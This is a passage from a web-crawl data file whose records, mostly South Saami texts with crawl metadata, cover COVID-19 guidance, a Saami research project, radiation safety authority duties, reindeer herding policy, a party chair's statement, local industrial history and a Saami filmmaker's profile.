0.9900391697883606}","num_words":712,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Prosjekten ulmie lea vielie bïevnesh åadtjodh guktie saemien årrojh Nöörjesne leah pandemijem jïh suetievaarjelimmieråajvarimmide dååjreme jïh haalveme, jïh mejtie saemien tjïelth leah jeatjah njoelkedassh jïh strategijh sjïehtesjamme juktie pandemijem gïetedidh. Saemien healsoedotkemejarnge (SHDJ) goerehtimmiem tjirrehte.\nArktiske raerien barkoedåehkie nænnoes evtiedæmman (Sustainable Development Working Group, SDWG) lea prosjektem aalkeme, jïh nöörjen-saemien goerehtimmie lea bielie dehtie sirkumpolaare prosjekteste Arctic community perspectives on COVID-19 and public health: A Multi-Site Case Study.\nKoronapandemije lea haesteme byögkeles dïenesjidie gaajhkine njieptjine, jïh lea gyhtjelassh buakteme etnihkeles jïh geograafeles sïerredimmien, healsoemïrrestallemen jïh balaansen bïjre gaskem almetjehealsoeråajvarimmieh jïh individuelle reaktah. Lea joekehts njoelkedassh jïh råajvarimmieh orreme arktiske åålmegi joekehts nasjonaalestaatine, jïh dotkeme daerpies juktie ellieslaakan konsekvenside COVID-19-pandemijeste Arktisesne guarkedh.\nDaate prosjekte sæjhta voenges daajroem identifiseeredh saemien utniji tjïrrh jïh koronadååjrehtimmieh jïh haalvemestrategijh kraanskodh saemien årroji luvnie jïh saemien seabradahkine.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/sa.uit.no\/project\/samicov_sa","date":"2022-08-15T22:39:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572212.96\/warc\/CC-MAIN-20220815205848-20220815235848-00211.warc.gz","language":"sma","language_score":0.9999425411,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999425411224365}","num_words":131,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.221,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hijven daejredh jis covid-19:ste skïemtjedh. Dellie datne maahtah maam akt darjodh guktie ih mubpieh laanesth.\nVeeljh regiovnem bijjemes sæjrosne desnie åadtjoeh vielie bïevnesh mah faamosne gusnie datne leah.\nGåessie edtjem pryövenassem vedtedh?\nDatne maahtah pryövenassem vedtedh jis symptomh åtnah mah maehtieh covid-19:ste båetieh. Aaj jis datne leah vaksineereme.\nDatne maahtah aaj daarpesjidh pryövenassem vedtedh jis maam akt dejstie sjeahta:\n- Datne healsoehoksesne, sjïemtjehoksesne jallh voeresesåjhtosne barkh.\n- Datne voeresegåetesne årroeh jïh hïejmedïenesjem åtnah.\n- Dåaktere jallh skïemtjesåjhtere datnem birrie pryövenassem vedtedh.\nDatne maahtah covid-19 viht åadtjodh. Mohte ih daarpesjh pryövenassem vedtedh jis covid-19 åtneme dej minngemes golme askine.\nPryövenassem vedtedh\nSïejhmemes pryövenasse gohtje PCR-pryövenassem.\nNaaken barkije hoksesne pryövenassem vaalta. Såemies aejkien maahtah pryövnassem jïjtje vaeltedh. Datne åadtjoeh vielie bïevnesh maam edtjh darjodh.\nÅrroeh gåetesne goske vaestiedassem åadtjoeh\nVihkeles datne gåetesne goske pryövenassen vaestiedassem åådtjeme.\nAntigenteeste – sneehpesteeste\nJeatjah pryövenassh aaj gååvnesieh vuesiehtimmien gaavhtan antigenteeste. Aaj dejtie sneehpesteestem gohtje jïh maahtah dejtie apoteeksne åestedh.\nNaemhtie pryövenassem vaalta\nPryövenassem sjïere såaram njuenesne vuj tjeapoehkisnie vaaltasåvva, jallh dovne njuenesne jïh tjeapoehkisnie.\nMaahta rovnegs damtedh mohte ij baektjedh.\nMan guhkiem edtjem gåetesne årrodh?\nÅrroeh gåetesne jis skïemtjedh. Aaj jis datne lea pryövenasse-vaestiedassem åådtjeme ij dov covid-19. Årroeh gåetesne goske vervies.\nDatne mij covid-19:m åtnah\nJis PCR-pryövenasse vuesehte dov lea covid-19 edtjh gåetesne årrodh goske ih laanesth.\nDatne ih guhkiem laanesth jis dah tsiehkieh sjiehtieh:\n- Datne buaranamme\n- Datne vaejlehts orreme göökte dygnh.\n- Unnemes vïjhte dygnh vaaseme juassah skïemtjedih.\nDatne ih daarpesjh orre pryövenassem vedtedh mij goerehte ennje laanesth.\nLohkh vielie tjaalegisnie Raerieh dutnjien mij covid-19 åtnah.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.1177.se\/sma-se\/Kalmar-lan\/other-languages\/other-languages\/covid-19\/lamna-prov-sydsamiska\/","date":"2022-09-26T22:14:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030334942.88\/warc\/CC-MAIN-20220926211042-20220927001042-00655.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":247,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2005\nGiele\nISBN\n8245002895\nFormaate\nLohkehtæjjabïhkedimmie\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n201\nDaaroen raeriestimmesgærja eatneme- jïh gaertenemaanajgïertide.\nDaehtie gærjeste raerieh gaavnh eatneme- jïh gaertenemaanajgïerti ålkoegïehtelimmide. Daesnie buerkieståvva guktie maanajgïertesjaljoem sjïehtehtidh edtjieh maanah maehtedh ålkone årrodh abpe jaepiem. Gærjesne jeenjh raerieh daejtie ålkoegïehtelimmide, dovne dam maam daelvege jïh geasege maahta darjodh. Daah darjomh gujht jeatjah maanajgïertide aaj sjiehtieh. Gærjeste pedagogihkes tjïelkestimmieh jïh våaromem\/duekiem gaavnh guktie jis maahta dagkerem eatneme- jïh gaertenemaanajgïertem aelkiehtidh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/girji_natur-og-gardsbarnehagen","date":"2022-09-30T22:26:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335504.37\/warc\/CC-MAIN-20220930212504-20221001002504-00687.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":73,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte utnije dov identiteete Polarbibblosne. Dam dov kontom nuhtjh gosse mij joem seedth jallh meatan gaahtjemisnie.\nJïjtje åadtjoeh åtnoenommem veeljedh. Mujhtieh jis dam dov reaktoe åvte- jïh minngienommem provhkh dellie gaajhkesh dennie sajtesne dam maehtieh vuejnedh. Ij leah åtnoenomme naan vesties baakoe jallh naan jeatjah almetjen nomme åådtje årrodh enn datne jïjtje.\nJis datne nuerebe 13 jaepeste dov eejhtege jallh åeliealmetje tjuara dåhkasjehtedh datne kontom sïjhth skaepiedidh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.polarbibblo.se\/sma-se\/darjoeh-kontom\/","date":"2022-10-01T05:01:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335530.56\/warc\/CC-MAIN-20221001035148-20221001065148-00272.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":66,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjen barkoelaavenjassh\nReereme jolle krïepesjh utnieh dan barkose mij stråline berkieh. Mijjieh aaj raerestibie guktie strålij vuestie vaarjelidh. Krïepesjimmieh jïh raerieh dotkememaadtojne leah. Mijjieh dovne dotkemem maeksebe.\nIbie mijjieh barre krïepesjh biejieh- mijjieh dovne goerehtallebe jis dej mietie berkieh. Jis vuejnebe barkosne mij akth ööjtede dellie nuepiem utnebe maam akth darjodh- jïh mijjieh maehtebe nænnoestidh barkojne dallegh orrijidh.\nGie dïedtem utnieh?\nDïedte strålejearsoen bïjre aajne dej luvnie gieh stråline berkieh. Strålejearsoereereme barkoem åtna vaaksjodh dejtie gieh dïedtem utnieh dah jearsoes-laakan barkojne berkieh.\nReereme gellieh hammoeh jïh njolkedassh åtna.\nGoh stuvreme reereme: njolkedassh buektehtibie dej barkojde gieh gijhkehtsinie\/stråline berkieh..\nGoh vaaksjome reereme: vaaksjobe dah barkoeh gieh stråline berkieh dah njolkedassh dåeredh jïh dïedtem strålejearsosen bijre vaeltieh. Mijjieh goerehtallebe.vuesehte gaavhtan kärnkraftvïerhkh, skiemtjegåetieh,industrijh jïh universiteth dah stråledïedtem mietie berkieh. Mijjieh aaj tjïeltij viehkie solaride vuartasjidh dah sjïehteles leah.\nGoh luhpiepryövoe reereme: ohtsedimmieh vuartasjibie gosse orre barkoeh buektiehtidh jallh jeatjadehtedh strålij bijre. Mijjieh pryövebe jïh nænnoestibie luhpij bïjre jïh reerenassem rååresjehtebe guktie nænnoestidh. Vuesiehtimmie barkoeh gieh luhpiem tjoeveren utnedh leah kärnkreaftevïerhkh, dah gieh faamohke laserdïrregh jïh röntgendïrregh nuhtjieh jïh guktie radio-aktive aath voelkehtidh.\nGoh reereme sjïere maahtojne: maahtoem sïebredahkesne bæjjoehtibie mijjen barkoedajvesne. Dam darjobe gosse dotkemem maeksebe jïh dotkeme vaestiedimmieh giehtjedidh. Mijjieh aaj sïebredahkem rååresjehtebe jïh jiehtebe guktie eatneme gijhkehtsen vuestie vaarjelidh goh radoneste jïh biejjiejste.\nGoh reereme reejries årrodh dallegh barkedh: ektiebarkebe gijhkehtsevaarjelinie dallegh barkedh. Mijjieh barkebe abpe dygnem jïh sneehpes maehtedh ovlahkojne barkedh jis gijhkehts sjidteme Sveerjesne jallh ålkoelaantesne.\nGoh internaasovne öövtiedimmiereereme: prosjekth buektiedibie mejtie jearsoes leah gijhkehtsen vuestie ålkoelaantine\nGoh byjreske-ulmiedïedtije reereme: dïedtem utnebe gyhtjelassij bïjre byjreskekvaltiteesne Jearsoes gijhkehtsebyjreske\/Säker strålmiljö. Barkoe lea daltesem radio-aktive aamhtesinie, unniedidh, låhkoem njaltjacanserinie jïh vuartasidh mij vaarege elektronijemagnetiske dajvine – vuesiehtimmie ele-faamojne jïh mobijleteelelfovnine – jïh aaj daerpies barkoem buektiehtidh jis vaarege.\nGoh rijhkevuepsiesijjie: daltesem nænnoestibie dïrreginie mejtie håksosne, dotkeninie jïh industijesne nuhtjieh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.stralsakerhetsmyndigheten.se\/information-pa-andra-sprak\/aarjelsaemie-sydsamiska\/mijjen-barkoelaavenjassh\/","date":"2022-09-30T03:31:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335424.32\/warc\/CC-MAIN-20220930020521-20220930050521-00737.warc.gz","language":"sma","language_score":0.9999889135,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999889135360718}","num_words":295,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Manne hevvi gaaje avojne åvtehkem sjidtim, jih aaj evvre gijhteles åadtjoem dejtie maah Saemierijhke krirresne jienestamme åvtesne barkedh.\nMov lavenjasse lea stievoem ektiedidh, jih baaje dejte mah aaj veeljeme sjidtin tjåankanidh jih jåarkedh politikh-barkoem mah Saemirihkekrirrie aerebistie utni.. Stievroesne baare vaejkele almetjh jih stoerre maahtoem utnebe ektine.\nIm maehtieh joe daelie jiehtedh guktie edtjebe barkedh, manne tjoerem voeste stievrojne raeriestidh dam bijre. , mijjieh tjoerebe ektine raeriestidh gusnie aalkebe jih mejnie jih guktie vijrebasse barkedh ovmessie amthside. Vientem luste edtja sjidtedh\nMov vajmosne lea bovhtsh, jih gaajkh amhtside dej bijre, guktie åadtjoe, gåatome , ales, gåatome laanth, bovhth riekta leh rööjnesjäjjah utnieh.\nGielem lea munnjan vihkeles aaj, manne jijtje tjabredh gielem bååstede vaeldedh. Sijthem evtjedh jeahtjah saemieh dam darjoedh, Saemiedigkie åtna stoerre dietem jih åvtsne vadsedh\nMijjieh daelie tjoeperdimmie tijjesne jieleminie, dåaroe lihke Sveerjen laante, Ukrainesne jih daesnie Sveerjen reeremasse gåeretalledh orre båatsoejieleme laake, gåhtjoe Renmarkskommitten. Jih gie daajra maab daestie båata, mijjieh tjoeperdeminie. Mijjieh Saemiehrijhkekrirresne edtjebe tjuerpieslaakan tjabredh jih tsevtsedh dam gåeretallemen illedahkem.\nBovtside jielemem leah gaajkene lahkeste aajhteme, gåatome laanth daaseminie jih unnidamme, skoekem lea tjoepeme, odjuvriede doelvieh jih buvvieh fierten biejjide, jnv.\nBåatsoejielijh fuehpsne daan gijre-giesie tijjesne beetnegh dienjesjidh, guktie edtjieh bearkanidh gaajkh mah duvrekåbpoe sjidteme, klimate, jih kriise-gavtan, gåessie daerpies orreme raeffesne naan tijjeh årrodh.\nMijjieh daarbsjibie jeenebh jijtse-nänoestimmie, jijtjh båatsoe-jielemisnie jih gåatoemlaanh bijjelen, ibie mijjieh tjoerebe vielebe een vijhte procenth ovdjuvride dassedh! Maaksoeh misse gaajhkide mijjieh dassedh! Jeeneb\/orre båatsoe-jieleme beetnehviertieh daarpsjibie, dagkeres goh dah jeahtja \"gröna näringar\" utnieh!\nGaajhkh saemieh mah sijhtieh jijtje saemiengiele evtedidh daam tjoerieh åatjoedh, vielebe beetnevierhtieh disse.\nGuktie govlede mijjieh vijrebasse gämpodh, jih manne dam vaajnoedem!\nBuerie heelsegh Marianneste\nJag är väldigt glad och tacksam för att ha blivit vald till ordförande, men också tacksam för att jag fått förtroende att företräda Samelandspartiets väljare.\nMin uppgift blir att samla styrelsen och tillsammans ska vi fortsätta föra den politik som partiet har. I styrelsen finns kunniga och kompetenta samlade, så det här ska bli så kul.\nI mitt hjärta finns renen, och alla frågor utgår från renen, bete, betesro, betesland\n, och renens rätt till liv och att få omsorg från renskötarna.\nSpråket är viktigt för mig. Jag strävar själv med att ta tillbaka samiskan och jag vill uppmuntra andra samer till att utveckla sitt språk. Här har Sametinget ett stort ansvar att gå före, skapa möjligheter och förutsättningar.\nDet är en orolig tid vi lever i, med krig i Ukraina, nära Sverige, och här i Sverige utreder regeringen en ny lagstiftning för renskötsel, Renmarkskommittén. Vi vet inte vad som kommer ut av den utredningen och det oroar förstås men vi representanter från Samelandspartiet kommer göra allt i vår makt för att påverka arbetet och utfallet i utredningen.\nRennäringen är hotad från flera håll, betesland förloras, skogen huggs bort, rovdjursförlusterna är höga, osv.\nSå här i vår-sommartid har renskötarna bråttom, vi stressar med att tjäna pengar för att klara alla fördyringar p.g.a klimat och kris, när vi egentligen skulle behöva tid för återhämtning.\nVi behöver mer självbestämmande för samebyarna över beteslanden, vi ska inte förlora mer än fem procent till rovdjur och vi ska ersättas fullt ut för det vi förlorar. Det måste också läggas till fler\/nya driftsstöd liknande övriga gröna näringar.\nSametinget måste ges självbestämmande och större budget över språk och kultur. Alla samer som vill utveckla och revitalisera sitt språk måste ges möjlighet till det. För detta behövs mer medel.\nMed andra ord så fortsätter kampen och jag är ivrig att komma igång!\nBästa hälsningar Marianne","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.samelandspartiet.se\/2022\/06\/22\/ordforanden-har-ordet-2\/","date":"2022-09-27T20:23:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335058.80\/warc\/CC-MAIN-20220927194248-20220927224248-00001.warc.gz","language":"sma","language_score":0.8896628022,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.8896628022193909, \"swe_Latn_score\": 0.10719162970781326}","num_words":573,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":0.918,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faamoe tjaetsesne jïh gullie skåajjesne\nJeanoeh jïh johkh leah åålegh vihkeles orreme. Dejtie nuhtjesovveme geajnojne vïnhtside jïh slearrajde. Dïhte lea jïjnjh energijem fuersies tjaetsesne. Dïhte energije goerne-gåetiem böövsi gusnie goernh jaavvojde milnji. Tjaetsiefaamoe lea masjijnh böövseme mah lijnem deemtjin, guktie dam meehtin laejkide butnedh. Lijnelaejkijste tyjjem jïh tjaebpies dealoeh veevin. Båantah lijnem doekin Stuahkan jïh Uppsalese. Beetnegi åvteste meehtin båantah åestedh lyksem goh dågkah, prïhtjh, sidenh jïh sïlpedïrregh.\nGosse edtjin moereïebnh darjodh dellie daelvien moerh tjoehpin jïh tjaetsiefaamoen dejtie saakevierhkesne sååkesjin. Dan mænngan moereïebnide jeanojde jïh johkide bïejin jïh dellie dejtie mearoegaedtesne tjöönghkin. Gosse dåavamasjijnh böötin idtjin saakh tjoerh jeanoej jïh johki baalte. Dellie lij buerebe dïmperh tjaetsien mietie seedtedh mearoegaadtan.\nGaskoeh 1800-låhkoen dellie jïjnjh ïebnh daarpesjin abpe Europesne. Dellie dan soe jïjnjh saakevïerhkh bigkin Norrlaanten mearoegaedtesne. Debpene mij daelie lea Orrestaaren tjïelte lin medtie 16 dåavaböövseme saakevïerhkh jaepien 1900! Almetjh Värmlandeste jïh Dalarneste böötin juktie sïjhtin saakevïerhkine barkedh. Gellie noerh mah idtjin åadtjoeh barkoem båantagaertieninie barkoem ohtsedin saakevïerhkine. Naan dejstie saakevierhkebarkijistie lin ihkuve barkoem åådtjeme jïh åadtjoejin barkijegåetine årrodh mearan mubpieh lissine barkin jïh åadtjoejin tjïehtjelem leejjedh gusnie joe gellie årroejin. Dïhte lij jïjnjh maanah gïeh saakevïerhkine barkin. Dah lin vihkeles saakesne jïh dej baalhka lij vihkeles fuelhkien ekonomijesne.","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/nolavonda.se\/sma\/faamoe-tjaetsesne-jih-gullie-skaajjesne","date":"2022-09-26T06:15:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030334802.16\/warc\/CC-MAIN-20220926051040-20220926081040-00187.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":198,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«Båatsoe lea vihkeles fasseldæjja jïh aarvoesjugniedæjja saemien siebriedahkesne guhkiebasse. Båatsoe goh jieleme jïh jieledevuekie lea sjïere dovne nasjonaale jïh gaskenasjonaale ektiedimmesne. Båatsoe viehkehte saemien gïelem jïh kultuvrem vaarjelidh fïerhten biejjien, jïh tjåadtjohte, guhkiebasse evtede jïh aerpievuekien daajroem jåarhka» (Saemiedigkiebïevnese båatsoen bïjre 2016).\nMijjieh aaj stoerre leavloem bïejebe båatsoen aerpievuekien jieledevuakan mesnie abpe fuelhkie lea meatan. Båatsoen ektiedimmie saemien kultuvrese lea dïhte mij jielemem sjïere dorje. Akte dejstie vihkielommes ulmijste Saemiedigkien båatsoepolitihkesne lea dam lïhke ektiedimmiem tjåadtjoehtidh jielemen jïh kultuvren gaskem.\nBåatsoen stööremes haesteme lea areaalevaanoe jïh ahkedh deadtove siebriedahkeste åtnoen bïjre båatsoen areaalijste. Båatsoe tjuara areaalevåaromem utnedh mij nænnoesvoetem jïh evtiedimmiem gorrede. Vaarjelamme juvri gaavhtan båatsoe stoerre teehpemh åådtje fïerhten jaepien. Muvhtine dajvine dan stoerre teehpemh guktie dah aajhtojne sjidtieh båatsose. Vihkeles sjïehtedamme juvreveahkam utnedh dejnie dajvine gusnie låemtiesbovtse, jih båatsoe kompensasjovnem åådtje teehpemi åvteste.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sametinget.no\/jieleme\/baatsoe\/","date":"2022-09-30T19:26:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335504.22\/warc\/CC-MAIN-20220930181143-20220930211143-00163.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":134,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skïemtjelasse covid-19 orre vijrusistie båata mij vijrusefuelhkesne corornavijrush.\nSkïemtjelasse stoerre bieline veartanisnie. Dan gaavhtan dam gohtje pandemije.\nVeeljh regiovnem bijjemes sæjrosne guktie vielie bïevnesh åadtjoeh mah faamosne gusnie datne leah.\nCovid-19:n symptovmh\nJeanatjommesh Covid-19 demtieh goh sïejhme sovhte vuj influensa.\nJeanatjommesh buerebe sjidtieh medtie våhkoen mænngan. Mubpieh guhkiem skïemtjedieh.\nDaah leah sïejhme covid-19:n symptomh;\n- Gossehtahke\n- Vaejlie\n- Tjeapohke saejrede\n- Sovhtine\n- Hopsem jïh maejstemem jeatjahtehtieh\n- Åejjiesaejriehtasse\n- Åedtjieh saejriedieh\n- Tjööjjeste\n- Tjåejjieh bååktjedieh\n- Skovrehtasse\n- Leevles voejngehtidh\n- Goevhredh\nMuvhth itjmies skïemtjedieh\nMuvhth almetjh itjmies skïemtjedieh medtie våhkoen mænngan. Datne maahtah damtedh leevles voejngehtidh jïh dan viesjieh kråahpesne.\nVaahram lissehte dov aalteren mietie.\nVaahram lissehte jis datne ålvas buajtehks.\nVaahram aaj lissehte jis datne nåajsan.\nNaan skïemtjelassijste maehtieh aaj vaarege jeananidh itjmies skïemtjedidh.\nJeanatjommesh eah daarpesjhcovid-19 pryövenassem vedtedh\nDïhte vihkeles datne gåetesne jis skïemtjedh. Jeanatjommesh eah daarpesjh covid-19 pryövenassem vedtedh. Lohkh vielie tekstesne covid-19:n pryövenassem vedtedh.\nGåessie jïh gusnie edtjh hoksem ohtsedh?\nJeenjemes almetjh gïeh covid-19:m åadtjoeh eah daarpesjh hoksem ohtsedh dah buerebe sjidtieh.\nRingkh telefonnummerem 1177 jis datne sïjhth viehkiem, maam edtjh darjodh. Dah gïeh vaestiedieh leah skïemtjesåjhterh. Dah maehtieh aaj datnem viehkiehtidh gusnie edtjh hoksem ohtsedh jis daarpesje.\nSkïemtjesåjhterh sveerjengïelem jïh englaanten gïelem soptsestieh. Såemies aejkien aaj jeatjah gïeline viehkiem åadtjodh.\nRingkh 046 771-11 77 00 jis datne ringkh telefovneste man ålkoelaanten nummere.\nJis hïehke\nBïeljelh dallegh hoksejarngem jallh joureræhpas dåastovem jis datne aktem jallh vielie vaejvieh åtnah:\n- datne skïemtjesh\n- datne leevles voejngehth aaj gosse veeledh\nOhtsh hoksem hïehkedåastoehtimmesne jis ij gåaredh hoksejarngem vuj joureræhpas dåastovem gaskesadtedh.\nNaemhtie covid-19 laaneste\nCovid-19 daamhtaj laaneste gosse almetje gie skïemtjelassen åtna gesjnije vuj gåssa. Dellie ohtje trahpenassh vijrusinie sjugniedieh. Datne maahtah laanestamme sjïdtedh jis datne åadtjoeh dejtie trahpenassh.\nDatne gie covid-19:m åtnah maahtah mubpieh almetjh laanestidh jællan ih jïjtje damth datne skïemtjes.\nDatne gie nåajsan\nMaahta dan vaejvie årrodh skïemtjedidh gosse nåajsan.\nVaahram lissehte itjmies skïemtjedh jis ih leah vaksineereme.\nMaana maahta fer aareh reakasovvedh jis skïemtjedh mubpie bielesne Datne maahtah kejsarvuekine baersieldidh jis covid-19:n skïemtjedh. graviditeetesne.\nSoptsestellieh dov tsegkietnine jallh dåaktarinie. Dah maehtieh dutnjien raerieh vedtedh.\nJeanatjommes gïeh nåajsan jïh vaksineereme eah itjmies skïemtjedh.\nDatne gie njammehth\nDatne maahtah dov maanam njammehtidh jis covid-19:m åtnah. Datne maahtah raerieh jïh viehkiem bvc:sne åadtjodh.\nBåehtjierdimmie\nJeenjemesh almetjh eah daarpesjh båehtjierdimmiem covid-19:n vööste. Gååvnesieh darjomh mejstie buarenh.\nMuvhth almetjh hoksem skïemtjegåetesne daarpesjieh. Datne gie skïemtjegåatan båatah maahtah vuesiehtimmien gaavhtan syrgaasem åadtjodh guktie buerebe voejngehtidh.\nMuvhth almetjh dan soe skïemtjes sjidtieh dah tjuerieh respiratovresne hoksedh. Dellie dah åerieh. Daam gohtje intensijvehoksem.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/covid-19\/om-covid-19-sydsamiska\/","date":"2022-10-06T11:03:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337803.86\/warc\/CC-MAIN-20221006092601-20221006122601-00578.warc.gz","language":"sma","language_score":0.9999939203,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999939203262329}","num_words":396,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Marja Bål Nango (1988-) lea saemien tjiehpiedæjja jïh filme-darjoje. Gellie dan filmijste ovmessie filme-festivaaline vuesiehtamme gelline laantine.\nMarja filme-ööhpehtimmiem vaalteme skuvline Nordland Kunst- og filmfagskole jïh Høgskolen Lillehammerisnie gusnie linjam Film- jïh fjernsynsvitenskap veedtsi.\nJaepien 2011 festivaalesne Riddu Riđđu Nango jaepien tjiehpiedæjjine sjïdti. Jaepien 2015 baalhkam Skårungen åadtjoeji åenehks-filmeste Hilbes biigá. Nordnorsk filmsenter baalhkam Skårungen juaka.\nJeatjah baalhkah jïh nominasjovnh\n- baalhkese Tromsøpalmen (2015) nomineradamme festivaalesne Tromsø International Film Festival (TIFF)\n- baalhka svenske UR-prisen (2015)\n- gahtjeme-programmesne meatan orreme åenehksfilme-festivaaline Grimstadesne jïh Nordisk Ungdoms Filmfestival\nFilme «Halvt ditt og halvt datt»\nNangoen dokumentaare-filme «Halvt ditt og halvt datt» (2011) goerehte guktie gellien-kultuvrinie årrodh. Filmesne gihtjedimmieh almetjh ovmessie kultuvrijste. Filme gyhtjelassh digkede guktie\n- Saemie maahta rovkijinie\/daatjine pruvredh?\n- Maaneme maahta bunaadem utnedh?\n- Mah gïelh edtjebe gåetesne soptsestidh?\nVuartesjh boelhketjem filmen bïjre «Halvt ditt og halvt datt» Nrk:sne.\nUssjedh: Guktie gellien-kultuvrine årrodh? Mij buerie jïh nåake gellien-kultuvren fuelhkesne byjjenidh? (akte eejhtege rovkije\/daatje jïh mubpie jeatjah kultuvreste)","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ndla.no\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:178159","date":"2022-12-01T00:12:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710777.20\/warc\/CC-MAIN-20221130225142-20221201015142-00055.warc.gz","language":"sma","language_score":0.9981667399,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9981667399406433}","num_words":145,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bertije ABC-Company E-skuvla Vaadtasovvemejaepie 2014 Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele Noerhtesaemiengïele Åarjelsaemiengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere ABC-Company E-skuvla Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Kultuvre Litteratuvre Aarhte jïh daajroe IT\/teknologije Siebriedahke Skuvle jïh ööhpehtimmie Saemiengïele Grammatihke Viehkiebaakoe Digitaale learoevierhtieh","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_e-skuvla-e-skuvle","date":"2022-11-29T11:43:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710691.77\/warc\/CC-MAIN-20221129100233-20221129130233-00122.warc.gz","language":"sma","language_score":0.9995038509,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 